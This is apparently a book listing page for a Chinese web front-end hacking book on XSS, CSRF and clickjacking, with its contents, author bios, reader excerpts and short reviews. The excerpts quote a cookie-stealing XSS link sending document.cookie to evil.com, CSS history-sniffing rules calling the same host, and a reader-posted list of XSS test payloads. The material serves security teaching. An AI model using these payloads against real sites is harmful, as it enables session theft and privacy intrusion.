内容简介 · · · · · ·
Web前端的黑客攻防技术是一门非常新颖且有趣的黑客技术,主要包含Web前端安全的跨站脚本(XSS)、跨站请求伪造(CSRF)、界面操作劫持这三大类,涉及的知识点涵盖信任与信任关系、Cookie安全、Flash安全、DOM渲染、字符集、跨域、原生态攻击、高级钓鱼、蠕虫思想等,这些都是研究前端安全的人必备的知识点。本书作者深入剖析了许多经典的攻防技巧,并给出了许多独到的安全见解。
本书适合前端工程师阅读,同时也适合对Web前端各类安全问题或黑客攻防过程充满好奇的读者阅读,书中的内容可以让读者重新认识到Web的危险,并知道该如何去保护自己以免受黑客的攻击。
作者简介 · · · · · ·
钟晨鸣,毕业于北京化工大学,网名:余弦。国内著名Web安全团队xeye成员,除了爱好Web Hacking外,还对宇宙学、人类学等保持着浓厚兴趣。2008年加入北京知道创宇信息技术有限公司,现任研究部总监,团队致力于Web安全与海量数据研究,并进行相关超酷平台的实现。如果大家想和我交流,可以私信我微博:weibo.com/evilcos,同时本书的最新动态也会发布在我的微博上。
徐少培,毕业于河北工业大学。网名:xisigr。国内著名Web安全团队xeye成员。2008年加入北京天融信公司,现任北京天融信资深安全专家,重点负责安全研究工作,主要研究领域包括:WEB安全、HTML5安全、浏览器安全、协议分析等。同时也是国内信息安全大会常见的演讲者。我的微博:weibo.com/xisigr,希望可以和大家交流。
目录 · · · · · ·
1.1 数据与指令 1
1.2 浏览器的同源策略 4
1.3 信任与信任关系 7
1.4 社会工程学的作用 9
1.5 攻防不单一 9
· · · · · · (更多)
1.1 数据与指令 1
1.2 浏览器的同源策略 4
1.3 信任与信任关系 7
1.4 社会工程学的作用 9
1.5 攻防不单一 9
1.6 场景很重要 10
1.7 小结 11
第2章 前端基础 12
2.1 W3C的世界法则 12
2.2 URL 14
2.3 HTTP协议 15
2.4 松散的HTML世界 19
2.4.1 DOM树 20
2.4.2 iframe内嵌出一个开放的世界 21
2.4.3 HTML内嵌脚本执行 22
2.5 跨站之魂——JavaScript 23
2.5.1 DOM树操作 23
2.5.2 AJAX风险 25
2.5.3 模拟用户发起浏览器请求 30
2.5.4 Cookie安全 33
2.5.5 本地存储风险 43
2.5.6 E4X带来的混乱世界 48
2.5.7 JavaScript函数劫持 49
2.6 一个伪装出来的世界——CSS 51
2.6.1 CSS容错性 51
2.6.2 样式伪装 52
2.6.3 CSS伪类 52
2.6.4 CSS3的属性选择符 53
2.7 另一个幽灵——ActionScript 55
2.7.1 Flash安全沙箱 55
2.7.2 HTML嵌入Flash的安全相关配置 59
2.7.3 跨站Flash 61
2.7.4 参数传递 64
2.7.5 Flash里的内嵌HTML 65
2.7.6 与JavaScript通信 67
2.7.7 网络通信 71
2.7.8 其他安全问题 71
第3章 前端黑客之XSS 72
3.1 XSS概述 73
3.1.1 “跨站脚本”重要的是脚本 73
3.1.2 一个小例子 74
3.2 XSS类型 76
3.2.1 反射型XSS 76
3.2.2 存储型XSS 77
3.2.3 DOM XSS 78
3.3 哪里可以出现XSS攻击 80
3.4 有何危害 81
第4章 前端黑客之CSRF 83
4.1 CSRF概述 84
4.1.1 跨站点的请求 84
4.1.2 请求是伪造的 84
4.1.3 一个场景 84
4.2 CSRF类型 89
4.2.1 HTML CSRF攻击 89
4.2.2 JSON HiJacking攻击 90
4.2.3 Flash CSRF攻击 94
4.3 有何危害 96
第5章 前端黑客之界面操作劫持 97
5.1 界面操作劫持概述 97
5.1.1 点击劫持(Clickjacking) 98
5.1.2 拖放劫持(Drag&Dropjacking) 98
5.1.3 触屏劫持(Tapjacking) 99
5.2 界面操作劫持技术原理分析 99
5.2.1 透明层+iframe 99
5.2.2 点击劫持技术的实现 100
5.2.3 拖放劫持技术的实现 101
5.2.4 触屏劫持技术的实现 103
5.3 界面操作劫持实例 106
5.3.1 点击劫持实例 106
5.3.2 拖放劫持实例 111
5.3.3 触屏劫持实例 119
5.4 有何危害 121
第6章 漏洞挖掘 123
6.1 普通XSS漏洞自动化挖掘思路 124
6.1.1 URL上的玄机 125
6.1.2 HTML中的玄机 127
6.1.3 请求中的玄机 134
6.1.4 关于存储型XSS挖掘 135
6.2 神奇的DOM渲染 135
6.2.1 HTML与JavaScript自解码机制 136
6.2.2 具备HtmlEncode功能的标签 140
6.2.3 URL编码差异 142
6.2.4 DOM修正式渲染 145
6.2.5 一种DOM fuzzing技巧 146
6.3 DOM XSS挖掘 150
6.3.1 静态方法 150
6.3.2 动态方法 151
6.4 Flash XSS挖掘 153
6.4.1 XSF挖掘思路 153
6.4.2 Google Flash XSS挖掘 156
6.5 字符集缺陷导致的XSS 159
6.5.1 宽字节编码带来的安全问题 160
6.5.2 UTF-7问题 161
6.5.3 浏览器处理字符集编码
BUG带来的安全问题 165
6.6 绕过浏览器XSS Filter 165
6.6.1 响应头CRLF注入绕过 165
6.6.2 针对同域的白名单 166
6.6.3 场景依赖性高的绕过 167
6.7 混淆的代码 169
6.7.1 浏览器的进制常识 169
6.7.2 浏览器的编码常识 175
6.7.3 HTML中的代码注入技巧 177
6.7.4 CSS中的代码注入技巧 190
6.7.5 JavaScript中的代码注入技巧 196
6.7.6 突破URL过滤 201
6.7.7 更多经典的混淆CheckList 202
6.8 其他案例分享——Gmail Cookie XSS 204
第7章 漏洞利用 206
7.1 渗透前的准备 206
7.2 偷取隐私数据 208
7.2.1 XSS探针:xssprobe 208
7.2.2 Referer惹的祸 214
7.2.3 浏览器记住的明文密码 216
7.2.4 键盘记录器 219
7.2.5 偷取黑客隐私的一个小技巧 222
7.3 内网渗透技术 223
7.3.1 获取内网IP 223
7.3.2 获取内网IP端口 224
7.3.3 获取内网主机存活状态 225
7.3.4 开启路由器的远程访问能力 226
7.3.5 内网脆弱的Web应用控制 227
7.4 基于CSRF的攻击技术 228
7.5 浏览器劫持技术 230
7.6 一些跨域操作技术 232
7.6.1 IE res:协议跨域 232
7.6.2 CSS String Injection跨域 233
7.6.3 浏览器特权区域风险 235
7.6.4 浏览器扩展风险 237
7.6.5 跨子域:document.domain技巧 240
7.6.6 更多经典的跨域索引 245
7.7 XSS Proxy技术 246
7.7.1 浏览器<script>请求 247
7.7.2 浏览器跨域AJAX请求 248
7.7.3 服务端WebSocket推送指令 249
7.7.4 postMessage方式推送指令 251
7.8 真实案例剖析 254
7.8.1 高级钓鱼攻击之百度空间登录DIV层钓鱼 254
7.8.2 高级钓鱼攻击之Gmail正常服务钓鱼 261
7.8.3 人人网跨子域盗取MSN号 265
7.8.4 跨站获取更高权限 267
7.8.5 大规模XSS攻击思想 275
7.9 关于XSS利用框架 276
第8章 HTML5安全 277
8.1 新标签和新属性绕过黑名单策略 278
8.1.1 跨站中的黑名单策略 278
8.1.2 新元素突破黑名单策略 280
8.2 History API中的新方法 282
8.2.1 pushState()和replaceState() 282
8.2.2 短地址+History新方法=完美隐藏URL恶意代码 283
8.2.3 伪造历史记录 284
8.3 HTML5下的僵尸网络 285
8.3.1 Web Worker的使用 286
8.3.2 CORS向任意网站发送跨域请求 287
8.3.3 一个HTML5僵尸网络实例 287
8.4 地理定位暴露你的位置 290
8.4.1 隐私保护机制 290
8.4.2 通过XSS盗取地理位置 292
第9章 Web蠕虫 293
9.1 Web蠕虫思想 294
9.2 XSS蠕虫 295
9.2.1 原理+一个故事 295
9.2.2 危害性 297
9.2.3 SNS社区XSS蠕虫 300
9.2.4 简约且原生态的蠕虫 304
9.2.5 蠕虫需要追求原生态 305
9.3 CSRF蠕虫 307
9.3.1 关于原理和危害性 307
9.3.2 译言CSRF蠕虫 308
9.3.3 饭否CSRF蠕虫——邪恶的Flash游戏 314
9.3.4 CSRF蠕虫存在的可能性分析 320
9.4 ClickJacking蠕虫 324
9.4.1 ClickJacking蠕虫的由来 325
9.4.2 ClickJacking蠕虫技术原理分析 325
9.4.3 Facebook的LikeJacking蠕虫 327
9.4.4 GoogleReader的ShareJacking蠕虫 327
9.4.5 ClickJacking蠕虫爆发的可能性 335
第10章 关于防御 336
10.1 浏览器厂商的防御 336
10.1.1 HTTP响应的X-头部 337
10.1.2 迟到的CSP策略 338
10.2 Web厂商的防御 341
10.2.1 域分离 341
10.2.2 安全传输 342
10.2.3 安全的Cookie 343
10.2.4 优秀的验证码 343
10.2.5 慎防第三方内容 344
10.2.6 XSS防御方案 345
10.2.7 CSRF防御方案 348
10.2.8 界面操作劫持防御 353
10.3 用户的防御 357
10.4 邪恶的SNS社区 359
· · · · · · (收起)
"Web前端黑客技术揭秘"试读 · · · · · ·
原文摘录 · · · · · · ( 全部 )
-
如果攻击者构造出如下链接: http://www.foo.com/info.html#new%20Image().src="http://www.evil.com/stea l.php?c="+escape(document.cookie) 浏览器解释执行后,下面的语句: eval(location.hash.substr(1)); 会变为: (查看原文) —— 引自第4页 -
Apache HTTP Server 2.2.x多个版本没有严格限制HTTP请求头信息,HTTP请求头信息超过LimitRequestFieldSize长度时,服务器返回 400(Bad Request)错误,并在返回信 息中将出错的请求头内容输出(包含请求头里的HttpOnly Cookie),攻击者可以利用这个 缺陷获取HttpOnly Cookie。 可以通过技巧让Apache报400错 https://gist.github.com/pilate/1955a1c28324d4724b7b/7fe51f2a66c1d4a40a736540b3ad3fde02b7fb08 曾经出现比较久的CSS History攻击利用的就是:visited伪类技巧进行的,原理很简单, 就是准备一批常用的链接,然后批量生成如下形式: <a href="http://www.baidu.com/" id="a1">http://www.baidu.com/</a><br /> <a href="http://www.17173.com/" id="a2">http://www.17173.com/</a><br /> <a href="http://www.joy.cn/" id="a3">http://www.joy.cn/</a><br /> <a href="http://www.qq.com/" id="a4">http://www.qq.com/</a><br /> <a href="http://www.rayli.com.cn/" id="a5">http://www.rayli.com.cn/</a><br /> 并针对id设置对应的:visited样式,语句如下: #a1:visited {background: url(http://www.evil.com/css/s... (查看原文) —— 引自第37页
> 全部原文摘录
喜欢读"Web前端黑客技术揭秘"的人也喜欢的电子书 · · · · · ·
喜欢读"Web前端黑客技术揭秘"的人也喜欢 · · · · · ·
Web前端黑客技术揭秘的书评 · · · · · · ( 全部 4 条 )
> 更多书评 4篇
-
如果攻击者构造出如下链接: http://www.foo.com/info.html#new%20Image().src="http://www.evil.com/stea l.php?c="+escape(document.cookie) 浏览器解释执行后,下面的语句: eval(location.hash.substr(1)); 会变为: eval('new Image().src="http://www.evil.com/steal.php?c="+escape(document. cookie)') 当被攻击者被诱骗访问了该链接时,Cookies会话信息就会被盗取到黑客的网站上 Chrome XSS Filter防御可能导致这样的...
2015-09-17 11:05:17
如果攻击者构造出如下链接: http://www.foo.com/info.html#new%20Image().src="http://www.evil.com/stea l.php?c="+escape(document.cookie) 浏览器解释执行后,下面的语句: eval(location.hash.substr(1)); 会变为: 引自第4页 eval('new Image().src="http://www.evil.com/steal.php?c="+escape(document. cookie)')
当被攻击者被诱骗访问了该链接时,Cookies会话信息就会被盗取到黑客的网站上 Chrome XSS Filter防御可能导致这样的利用无法成功
回应 2015-09-17 11:05:17 -
Apache HTTP Server 2.2.x多个版本没有严格限制HTTP请求头信息,HTTP请求头信息超过LimitRequestFieldSize长度时,服务器返回 400(Bad Request)错误,并在返回信 息中将出错的请求头内容输出(包含请求头里的HttpOnly Cookie),攻击者可以利用这个 缺陷获取HttpOnly Cookie。 可以通过技巧让Apache报400错 https://gist.github.com/pilate/1955a1c28324d4724b7b/7fe51f2a66c1d4a40a736540b3ad3fde02b7fb08 曾经出现比较久的C...
2015-09-17 11:33:06
Apache HTTP Server 2.2.x多个版本没有严格限制HTTP请求头信息,HTTP请求头信息超过LimitRequestFieldSize长度时,服务器返回 400(Bad Request)错误,并在返回信 息中将出错的请求头内容输出(包含请求头里的HttpOnly Cookie),攻击者可以利用这个 缺陷获取HttpOnly Cookie。 可以通过技巧让Apache报400错 https://gist.github.com/pilate/1955a1c28324d4724b7b/7fe51f2a66c1d4a40a736540b3ad3fde02b7fb08 曾经出现比较久的CSS History攻击利用的就是:visited伪类技巧进行的,原理很简单, 就是准备一批常用的链接,然后批量生成如下形式: <a href="http://www.baidu.com/" id="a1">http://www.baidu.com/</a><br /> <a href="http://www.17173.com/" id="a2">http://www.17173.com/</a><br /> <a href="http://www.joy.cn/" id="a3">http://www.joy.cn/</a><br /> <a href="http://www.qq.com/" id="a4">http://www.qq.com/</a><br /> <a href="http://www.rayli.com.cn/" id="a5">http://www.rayli.com.cn/</a><br /> 并针对id设置对应的:visited样式,语句如下: #a1:visited {background: url(http://www.evil.com/css/steal.php?data=a1);} #a2:visited {background: url(http://www.evil.com/css/steal.php?data=a2);} #a3:visited {background: url(http://www.evil.com/css/steal.php?data=a3);} #a4:visited {background: url(http://www.evil.com/css/steal.php?data=a4);} #a5:visited {background: url(http://www.evil.com/css/steal.php?data=a5);} 如果其中的某链接之前访问过(也就是存在于历史记录中的),那么:visited就会触发, 随后会发送一个唯一的请求到目标地址,这样就可以知道被攻击者的历史记录是否有这个 链接,不过这个方式已经被浏览器修补了。但还有一些伪类是有效的,比如::selection伪类, 当指定对象区域被选择时,就会触发::selection,这个在Chrome下有效,代码如下: 引自 前端基础 <style> #select{border:1px dashed #09c;} #select::selection{background: url(http://www.evil.com/css/steal.php? data=selection);} </style> <div id="select">select me</div>
回应 2015-09-17 11:33:06 -
lastmayday (鸡排饭加个蛋)
<script>alert(1)</script> '"><script>alert(1)</script> <img/src=@ onerror=alert(1) /> '"<img/src=@ onerror=alert(1) /> ' onmouseover=alert(1) x=' " onmouseover=alert(1) x=" ` onmouseover=alert(1) x=` javascript:alert(1) // data:text/html;base64,PHNjcmlwdD5hbGVydCgxKTwvc2NyaXB0Pg== '";alert(1) // </script><script>alert(1) // }x:expression(alert(... (1回应)2014-03-24 18:07:24
<script>alert(1)</script> '"><script>alert(1)</script> <img/src=@ onerror=alert(1) /> '"<img/src=@ onerror=alert(1) /> ' onmouseover=alert(1) x=' " onmouseover=alert(1) x=" ` onmouseover=alert(1) x=` javascript:alert(1) // data:text/html;base64,PHNjcmlwdD5hbGVydCgxKTwvc2NyaXB0Pg== '";alert(1) // </script><script>alert(1) // }x:expression(alert(1)) alert(1) // */-->'"</iframe></script></style></title></textarea></xmp></noscript></noframes></plaintext><script>alert(1)</script>
1回应 2014-03-24 18:07:24
0 有用 sgsheg 2014-07-08 17:06:40
第五章的界面劫持,第四章的csrf 第三章的xss 第十章的防御 攻击是无处不在的包括url路径 挖掘漏洞和分心漏洞部分确实写的让人有启发
0 有用 FrozDoggie 2016-02-04 16:54:15
结构混乱,大段排版没法看的代码,挺难受的。其实本书定位不是很明确,至少在书名上应指出“以攻防实例为主”的属性。对入门者而言,前两章和最后一章比较有参考价值,中间的就很难下咽了。
0 有用 cywhfe 2013-07-04 22:10:57
介绍了web前端的几种hack技术
1 有用 乔大路 2014-05-11 21:06:10
项目间隙翻了一遍,期望过高,略失望,xss的奇技淫巧实在太多,书中所列案例均为样板,巧劲全无,反倒不如去看些xss bypass的文章有意思。
1 有用 大黄 2016-06-03 22:04:03
余弦的书,前有基础后有例子,还需再读
0 有用 无害的神乐 2021-12-03 11:30:45
迫害与反迫害,要用魔法打败魔法!
0 有用 0xzzssss 2021-11-29 17:43:10
信息量挺大的,解决了我不少疑惑。入门后,找几套靶机练习一下,再开看比较好
0 有用 涣远 2021-11-24 20:46:01
很酷
0 有用 国王KING 2021-06-05 08:40:13
很有趣啊
0 有用 风携雨归 2021-04-21 09:17:08
比较肤浅诶